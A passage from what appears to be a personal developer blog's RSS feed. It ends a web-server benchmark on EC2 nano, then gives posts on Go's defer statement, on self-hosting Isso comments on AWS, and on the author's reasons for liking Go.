</div></p>
<p>Top:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-t.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-t_hu_6fbb4cf8083c6ea1.png 500w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-t_hu_7289e4ea74c1413c.png 800w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-t_hu_2124ddb44095b93b.png 1200w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-t_hu_d5a8b3662c326731.png 1500w'
  src="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/fasthttp-t_hu_2124ddb44095b93b.png" 
  alt="Snap of fasthttp&#39;s top.">
</a>
</div></p>
<h1 id="express-setup">Express setup</h1>
<p>To be fair, I knew Express would not perform too well here but I added it nonetheless. <a href="https://gist.github.com/vkuznecovas/1e615a5a9f9370dfe7caddf9fe626011">Here&rsquo;s the Express code</a>.</p>
<p>Results:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-wrk.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-wrk_hu_9aa3d7ba28eb5116.png 500w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-wrk_hu_cd4ea1d7257555ae.png 800w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-wrk_hu_4520a085f08184c3.png 1200w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-wrk_hu_721bc31bf867dd9.png 1500w'
  src="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-wrk_hu_4520a085f08184c3.png" 
  alt="Express results.">
</a>
</div></p>
<p>Top:















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-t.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-t_hu_d15903a44924a4df.png 500w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-t_hu_b2550ac414fa65e7.png 800w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-t_hu_d7fcabc80885647e.png 1200w,
  /2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-t_hu_1a28607db9a594c4.png 1500w'
  src="https://dizzy.zone/2018/01/23/Kestrel-vs-Gin-vs-Iris-vs-Express-vs-Fasthttp-on-EC2-nano/node-t_hu_d7fcabc80885647e.png" 
  alt="Express results.">
</a>
</div></p>
<h2 id="conclusion">Conclusion</h2>
<table>
  <thead>
      <tr>
          <th style="text-align: center">Server</th>
          <th style="text-align: center">Requests/sec</th>
          <th style="text-align: center">Memory MB</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">Kestrel</td>
          <td style="text-align: center">35404</td>
          <td style="text-align: center">131.0</td>
      </tr>
      <tr>
          <td style="text-align: center">Iris</td>
          <td style="text-align: center">21868</td>
          <td style="text-align: center">26.4</td>
      </tr>
      <tr>
          <td style="text-align: center">Gin</td>
          <td style="text-align: center">20856</td>
          <td style="text-align: center">21.0</td>
      </tr>
      <tr>
          <td style="text-align: center">FastHttp</td>
          <td style="text-align: center">37361</td>
          <td style="text-align: center">14.1</td>
      </tr>
      <tr>
          <td style="text-align: center">Express</td>
          <td style="text-align: center">7902</td>
          <td style="text-align: center">76.3</td>
      </tr>
  </tbody>
</table>
<p>From this, I drew the following conclusions:</p>
<ul>
<li>I&rsquo;m pleasantly surpised by Kestrels performance(I mostly code Go).</li>
<li>Kestrel(most likely .NET, not Kestrel itself) is way harder on the memory than GO&rsquo;s equivalents.</li>
<li>Nano instance can be quite good at handling not very intensive tasks.</li>
<li>Fasthttp outperforms kKstrel, but not by a large margin.</li>
<li>Fasthttp uses only 1/10th of Kestrels memory.</li>
<li>Gin and Iris are not as fast as Kestrel, which surprised me.</li>
<li>Express is nowhere close, as expected.</li>
</ul>
<p>I also ran the tests on my Mac Pro - every server comfortably went into the 100 000 requests/second. Go seemed to do a tiny bit better than .NET on this one though. Express only managed 16000 requests/s.</p>
<blockquote>
<p>Take note that I&rsquo;m not an expert in benchmarking by any means. Let me know if I made any mistakes in the comments below!</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>Go&#39;s defer statement</title>
            <link>https://dizzy.zone/2018/01/19/Gos-defer-statement/</link>
            <pubDate>Fri, 19 Jan 2018 12:16:59 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/01/19/Gos-defer-statement/</guid>
            <description><![CDATA[ <p>Defer is the golang&rsquo;s version of the more familliar <em>finally</em> statement of the try/catch block in languages like Java and C#. The defer allows you to perform actions when surrounding function returns or panics. Unlike finally blocks though it does not need to be placed at the bottom of the code block. You can also have multiple defer statements in a single function body. This allows for handy clean up of resources. It does have its downsides though. It does <a href="https://lk4d4.darth.io/posts/defer/">add overhead</a> so using it everywhere might not be the best idea.</p>]]></description>
            <content:encoded><![CDATA[ <p>Defer is the golang&rsquo;s version of the more familliar <em>finally</em> statement of the try/catch block in languages like Java and C#. The defer allows you to perform actions when surrounding function returns or panics. Unlike finally blocks though it does not need to be placed at the bottom of the code block. You can also have multiple defer statements in a single function body. This allows for handy clean up of resources. It does have its downsides though. It does <a href="https://lk4d4.darth.io/posts/defer/">add overhead</a> so using it everywhere might not be the best idea.</p>
<h2 id="a-couple-of-examples">A couple of examples</h2>
<p>My favorite use of defer statements is in coalition with sync.WaitGroup. Wait group allows you to start multiple goroutines and wait until they are finished. I use defer wg.Done() as a defer statement to let the wait group know that the routine has done its job.</p>
<p><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">defer</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;All routines are done!&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">wg</span> <span style="color:#a6e22e">sync</span>.<span style="color:#a6e22e">WaitGroup</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">wg</span>.<span style="color:#a6e22e">Add</span>(<span style="color:#ae81ff">3</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> &lt; <span style="color:#ae81ff">3</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">go</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">j</span> <span style="color:#66d9ef">int</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">defer</span> <span style="color:#a6e22e">wg</span>.<span style="color:#a6e22e">Done</span>()
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">j</span>)	
</span></span><span style="display:flex;"><span>		}(<span style="color:#a6e22e">i</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">wg</span>.<span style="color:#a6e22e">Wait</span>()
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<a href="https://play.golang.org/p/watgpyVF21d">Try it on go playground</a></p>
<p>Another use case is cleaning up resources, such as making sure to close readers. Here&rsquo;s an example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">res</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">client</span>.<span style="color:#a6e22e">Do</span>(<span style="color:#a6e22e">req</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// error handling goes here...</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">defer</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">Body</span>.<span style="color:#a6e22e">Close</span>()
</span></span><span style="display:flex;"><span><span style="color:#75715e">// do something with body</span></span></span></code></pre></div>
<h2 id="function-execution-timer-with-defer">Function execution timer with defer</h2>
<p>Ocassionally I&rsquo;ll want to log the execution times of different functions. This can be done through a simple timer package.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Timer</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">start</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Time</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">defaultValue</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">New</span>() <span style="color:#f92672">*</span><span style="color:#a6e22e">Timer</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">Timer</span>{
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">start</span>: <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Now</span>()
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">t</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Timer</span>) <span style="color:#a6e22e">End</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;Execution took %v&#34;</span>, <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Since</span>(<span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">start</span>))
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>If you put it into a timer package, you can then use it on any function like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">defer</span> <span style="color:#a6e22e">timer</span>.<span style="color:#a6e22e">New</span>().<span style="color:#a6e22e">Done</span>()
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>For extra flavor, we can improve the log message to include the caller name of the function we are profiling. All we need to do is write a function like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">t</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Timer</span>) <span style="color:#a6e22e">GetCallerName</span>() (<span style="color:#a6e22e">name</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">string</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">uintpt</span> <span style="color:#f92672">:=</span> make([]<span style="color:#66d9ef">uintptr</span>, <span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">runtime</span>.<span style="color:#a6e22e">Callers</span>(<span style="color:#ae81ff">3</span>, <span style="color:#a6e22e">uintpt</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fun</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">runtime</span>.<span style="color:#a6e22e">FuncForPC</span>(<span style="color:#a6e22e">uintpt</span>[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">fun</span> <span style="color:#f92672">==</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">nameTemp</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fun</span>.<span style="color:#a6e22e">Name</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">name</span> = <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">nameTemp</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>And change the End() function like so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">t</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Timer</span>) <span style="color:#a6e22e">End</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">callerName</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">GetCallerName</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">callerName</span> <span style="color:#f92672">==</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">callerName</span> = <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">defaultValue</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;Execution of %v took %v&#34;</span>, <span style="color:#f92672">*</span><span style="color:#a6e22e">callerName</span>, <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Since</span>(<span style="color:#a6e22e">t</span>.<span style="color:#a6e22e">start</span>))
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p><a href="https://gist.github.com/vkuznecovas/5abf647f32e1d4b1c0f5d67274df274e">Here&rsquo;s a full gist</a> of the code I ended up with.</p>
<h2 id="defer-performance-hit">Defer performance hit</h2>
<p>As mentioned before, there&rsquo;s a performance hit for using defer but as the benchmarks I linked to before are rather old, <a href="https://gist.github.com/vkuznecovas/66b509cfc24f48b7c60dc7406ff63c11">I made one myself</a>. I&rsquo;m not an expert on benchmarking, so please let me know if anything&rsquo;s not right. Here&rsquo;s the result:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center">Method</th>
          <th style="text-align: center">ns/op</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">No defer</td>
          <td style="text-align: center">98986</td>
      </tr>
      <tr>
          <td style="text-align: center">With defer</td>
          <td style="text-align: center">138555</td>
      </tr>
  </tbody>
</table>
<p>There&rsquo;s a hit, but I would not worry if you&rsquo;re using defer in a reasonable manner and the performance difference of a few nanoseconds does not impact you that much. I really do prefer Go&rsquo;s approach to the more standard finally block.</p>
<blockquote>
<p>What about you? How do you use defer? Let me know in the comments below!</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>Self-hosted disqus alternative for 5$ a month</title>
            <link>https://dizzy.zone/2018/01/12/Self-hosted-disqus-alternative-for-5-a-month/</link>
            <pubDate>Fri, 12 Jan 2018 19:00:50 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/01/12/Self-hosted-disqus-alternative-for-5-a-month/</guid>
            <description><![CDATA[ <p>I was looking for a way to add commenting functionality to the blog. The obvious candidate was <a href="https://disqus.com/">Disqus</a> but I did not choose it for 2 reasons:</p>
<ul>
<li>It&rsquo;s too heavy(at around 200KB)</li>
<li>It contains ads</li>
</ul>
<p>The weight itself would kill my <a href="https://dizzy.zone/2018/01/04/Speeding-hexo-for-PageSpeed-insights/">quest for page speed</a> instantly.So I set up to find a way to provide commenting ability on the blog. I knew this would probably lead me to a self-hosted solution but that did not scare me. Requirements were quite simple:</p>]]></description>
            <content:encoded><![CDATA[ <p>I was looking for a way to add commenting functionality to the blog. The obvious candidate was <a href="https://disqus.com/">Disqus</a> but I did not choose it for 2 reasons:</p>
<ul>
<li>It&rsquo;s too heavy(at around 200KB)</li>
<li>It contains ads</li>
</ul>
<p>The weight itself would kill my <a href="https://dizzy.zone/2018/01/04/Speeding-hexo-for-PageSpeed-insights/">quest for page speed</a> instantly.So I set up to find a way to provide commenting ability on the blog. I knew this would probably lead me to a self-hosted solution but that did not scare me. Requirements were quite simple:</p>
<ul>
<li>It must be cheap(or be hostable under <a href="https://aws.amazon.com/blogs/aws/ec2-update-t2-nano-instances-now-available/">EC2 nano</a> - 512MB RAM for the whole instance)</li>
<li>It must be easily customizable</li>
</ul>
<h2 id="isso">Isso</h2>
<p>After a bit of research, I found <a href="https://posativ.org/isso/">Isso</a>. After looking at it a bit, I gave it a shot. The running service consumes just under 35MB of RAM(idle). This means even if it doubles its memory consumption under load, the <a href="https://aws.amazon.com/blogs/aws/ec2-update-t2-nano-instances-now-available/">EC2 nano</a> instance should be able to handle this service. <a href="https://posativ.org/isso/">Isso</a> also states, that the required JS only comes at &ldquo;40kb (12kb gzipped)&rdquo;. This is way better than <a href="https://disqus.com/">Disqus</a>. I have some python experience so editing it to suite my needs should not be too hard. I end up sticking with <a href="https://posativ.org/isso/">Isso</a>.</p>
<h2 id="the-architecture">The architecture</h2>
<p>I start setting it up and hit a few roadblocks on the way, but I&rsquo;ll explain those in a bit. Here&rsquo;s what the final architecture looks like on AWS:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/12/Self-hosted-disqus-alternative-for-5-a-month/CommentArchitecture.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/12/Self-hosted-disqus-alternative-for-5-a-month/CommentArchitecture_hu_6978adfd57786160.png 500w,
  /2018/01/12/Self-hosted-disqus-alternative-for-5-a-month/CommentArchitecture_hu_3cafbc6c5fcbe3c7.png 800w,
  /2018/01/12/Self-hosted-disqus-alternative-for-5-a-month/CommentArchitecture_hu_469c5dc75f09bfef.png 1200w,
  /2018/01/12/Self-hosted-disqus-alternative-for-5-a-month/CommentArchitecture_hu_72f45f42f4f2ddcd.png 1500w'
  src="https://dizzy.zone/2018/01/12/Self-hosted-disqus-alternative-for-5-a-month/CommentArchitecture_hu_469c5dc75f09bfef.png" 
  alt="Architecture I went with for hosting Isso under AWS.">
</a>
</div>
<p>As I mentioned before everyting runs under <a href="https://aws.amazon.com/blogs/aws/ec2-update-t2-nano-instances-now-available/">EC2 nano</a>. <a href="http://supervisord.org/">Supervisord</a> runs inside the EC2 instance and ensures that the <a href="https://www.nginx.com/">nginx</a> and <a href="https://posativ.org/isso/">Isso</a> are continuously running. If the instance restarts, <a href="http://supervisord.org/">Supervisord</a> assures that both of them are also started. <a href="https://www.nginx.com/">Nginx</a> is mostly there if I ever decide to use the same instance for some other service and not just comments. For now it only exposes isso and adds a no cache header to the response as I&rsquo;m using <a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html">CloudFront</a>. Talking about which, the cloud front distribution is needed because I really wanted my service to be accessible with https. The easy way to do that in AWS is to get a certificate from <a href="https://aws.amazon.com/certificate-manager/">AWS certificate manager</a>. These can only be applied to AWS resources, so you can&rsquo;t add it to your instance directly. You could add an <a href="https://docs.aws.amazon.com/elasticloadbalancing/latest/application/introduction.html">application load balancer</a> in front of your EC2 instance but these are costly and will set you back at least 20$ a month. When you consider that the whole instance will set you back 5$ a month the load balancer does not seem worth it. The way to make the ssl cheaper is use a <a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html">CloudFront</a> distribution. You point it to your EC2 instance and point your Route 53 records to the <a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html">CloudFront</a> distribution. Now you can communicate with <a href="https://posativ.org/isso/">Isso</a> through a secure channel.</p>
<h2 id="lowering-costs">Lowering costs</h2>
<p>To lower the costs for your EC2 instance to just under 4$(or even cheaper if you commit for a longer period) you can take a <a href="https://aws.amazon.com/ec2/pricing/reserved-instances/">reserved instance</a>. Combined with the Route 53(which you are gonna pay for a domain anyway) and <a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html">CloudFront</a> costs the totals for the comments per month is less than 4.5$/month for me at the moment.</p>
<h2 id="configuration-files">Configuration files</h2>
<p>Below you&rsquo;ll find the all the configuration files I&rsquo;ve used:</p>
<ul>
<li><a href="https://gist.github.com/vkuznecovas/02f48ce40b1d816b57dc1db05fdfc854">isso.cfg</a></li>
<li><a href="https://gist.github.com/vkuznecovas/cdbcb9a9e2bbe7719f3d71310e592d9e">supervisord.conf</a></li>
<li><a href="https://gist.github.com/vkuznecovas/fe4d404f3d88de826bcc56f578e6da5c">nginx.conf</a></li>
</ul>
<blockquote>
<p>What do you guys think? Is Isso a good choice for self-hosted comments? Do you even self-host your comments? Let me know in the comments below!</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>Why I like go</title>
            <link>https://dizzy.zone/2018/01/06/Why-I-like-go/</link>
            <pubDate>Sat, 06 Jan 2018 15:40:58 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/01/06/Why-I-like-go/</guid>
            <description><![CDATA[ <div style="display: flex; justify-content: center;">
<a href="/2018/01/06/Why-I-like-go/Gopher.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/06/Why-I-like-go/Gopher_hu_edc53e872ee98c96.png 500w,
  /2018/01/06/Why-I-like-go/Gopher_hu_a945e85db6575f46.png 800w,
  /2018/01/06/Why-I-like-go/Gopher_hu_3453199ed6673df5.png 1200w,
  /2018/01/06/Why-I-like-go/Gopher_hu_45a5874ecbf3247b.png 1500w'
  src="/2018/01/06/Why-I-like-go/Gopher_hu_3453199ed6673df5.png" 
  alt="A Russian mascot of Go.">
</a>
</div>
<p>I&rsquo;ve been using Go as my main programming language at work for the last 6 months. Here&rsquo;s why I absolutely adore the language.</p>
<h2 id="its-simple">It&rsquo;s simple</h2>
<p>Go is remarkably simple. It&rsquo;s an object oriented programming language but instead of the more typical classes you find in C# or Java it only has structs. Structs cannot  inherit, meaning you can&rsquo;t end up in inheritance hell. I won&rsquo;t go into detail why inheritance is bad, but if you want an explanation <a href="https://simpleprogrammer.com/2010/01/15/inheritance-is-inherently-evil/">Inheritance is Inherently Evil</a> is a good read on that. All you want to achieve with inheritance can instead be done through composition and the use of interfaces. It also gets rid of generics. This means that the code you read will be clear and simple. It might be more verbose than many other languages but you also carry more control.</p>]]></description>
            <content:encoded><![CDATA[ 














  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/06/Why-I-like-go/Gopher.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/06/Why-I-like-go/Gopher_hu_edc53e872ee98c96.png 500w,
  /2018/01/06/Why-I-like-go/Gopher_hu_a945e85db6575f46.png 800w,
  /2018/01/06/Why-I-like-go/Gopher_hu_3453199ed6673df5.png 1200w,
  /2018/01/06/Why-I-like-go/Gopher_hu_45a5874ecbf3247b.png 1500w'
  src="https://dizzy.zone/2018/01/06/Why-I-like-go/Gopher_hu_3453199ed6673df5.png" 
  alt="A Russian mascot of Go.">
</a>
</div>
<p>I&rsquo;ve been using Go as my main programming language at work for the last 6 months. Here&rsquo;s why I absolutely adore the language.</p>
<h2 id="its-simple">It&rsquo;s simple</h2>
<p>Go is remarkably simple. It&rsquo;s an object oriented programming language but instead of the more typical classes you find in C# or Java it only has structs. Structs cannot  inherit, meaning you can&rsquo;t end up in inheritance hell. I won&rsquo;t go into detail why inheritance is bad, but if you want an explanation <a href="https://simpleprogrammer.com/2010/01/15/inheritance-is-inherently-evil/">Inheritance is Inherently Evil</a> is a good read on that. All you want to achieve with inheritance can instead be done through composition and the use of interfaces. It also gets rid of generics. This means that the code you read will be clear and simple. It might be more verbose than many other languages but you also carry more control.</p>
<h2 id="it-has-a-great-standard-library">It has a great standard library</h2>
<p>The standard library is pretty damn good. Rarely do I ever need to step out of it. The usual suspects here are the ORM and testing/mocking frameworks. I will add that testing and logging are pretty sub-par compared to other standard lib packages, as <a href="https://medium.com/@_orcaman/most-imported-golang-packages-some-insights-fb12915a07">Or Hiltch states in his article</a> but hopefully will be improved on sometime in the future. If these are improved, I will only need to use external libraries for exotic projects.</p>
<h2 id="its-fast">It&rsquo;s fast</h2>
<p>Go is a compiled language. It&rsquo;s not as fast as C or C++ but in many cases it&rsquo;s faster than Java. I&rsquo;d expect it to become even quicker once it becomes more mature. For a comparison versus other languages, you can take a look <a href="http://benchmarksgame.alioth.debian.org/u64q/go.html">here</a>. I know that benchmarksgame is not an authority in any regard but it&rsquo;s probably as close as we can get to a reliable benchmark at the moment. With the Go&rsquo;s excellent performance and easy to understand syntax it&rsquo;s a pleasure to develop applications that are rather quick.</p>
<h2 id="it-has-a-great-concurrency-model">It has a great concurrency model</h2>
<p>Making code concurrent can be pretty daunting in many languages. Even if it&rsquo;s not too hard to achieve it will come with the caviat of using a lot of memory per thread. Go was designed for this, meaning that goroutines are both inexpensive and easy to add to your code. <a href="https://golangbot.com/goroutines/">Golangbot has a nice short tutorial on goroutines</a> if you&rsquo;re curious to see how they work. The built in concurrency capability of go makes for an excellent experience when writing concurrent code. It does take some time to get used to but once you get the hang of it - it starts happening naturally in the code you end up writing.</p>
<h2 id="its-backed-by-google">It&rsquo;s backed by Google</h2>
<p>Many open source projects fail a few years after their initial launch. Having a serious backer like google behind Go makes me certain that the language is here to stay. What is more the process for making software is demanding both in time and money. Even more so for large caliber projects such as a programming language.</p>
<h2 id="its-growing-in-popularity">It&rsquo;s growing in popularity</h2>
<p><a href="https://opensource.com/article/17/11/why-go-grows">Opensource.com has an excellent article on why Go is growing in popularity</a>. What this means is that as time passes more and more companies are going to look to hire Go developers. Having a head start here will make me a potentially better candidate than those who will not have the prior experience.</p>
<h2 id="its-easy-to-cross-compile">It&rsquo;s easy to cross-compile</h2>
<p>The ability to cross compile allows to build the binaries on any machine for any target, allowing for easy deployments and no headaches related to OS or architectures.</p>
<h2 id="it-has-a-great-mascot">It has a great mascot</h2>
<p>I mean&hellip; just look at it.</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/06/Why-I-like-go/Gopher2.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/06/Why-I-like-go/Gopher2_hu_b8e5014d3c550f3a.png 500w,
  /2018/01/06/Why-I-like-go/Gopher2_hu_f4a19708a5dab205.png 800w,
  /2018/01/06/Why-I-like-go/Gopher2_hu_96c6719d243ad2a6.png 1200w,
  /2018/01/06/Why-I-like-go/Gopher2_hu_fd54205458469186.png 1500w'
  src="https://dizzy.zone/2018/01/06/Why-I-like-go/Gopher2_hu_96c6719d243ad2a6.png" 
  alt="Mascot of Go.">
</a>
</div>
<p>Makes my day every time I see it.</p>
<blockquote>
<p>Why do you like/dislike Go? Let me know in the comments below.</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>Speeding hexo (or any page) for PageSpeed insights</title>
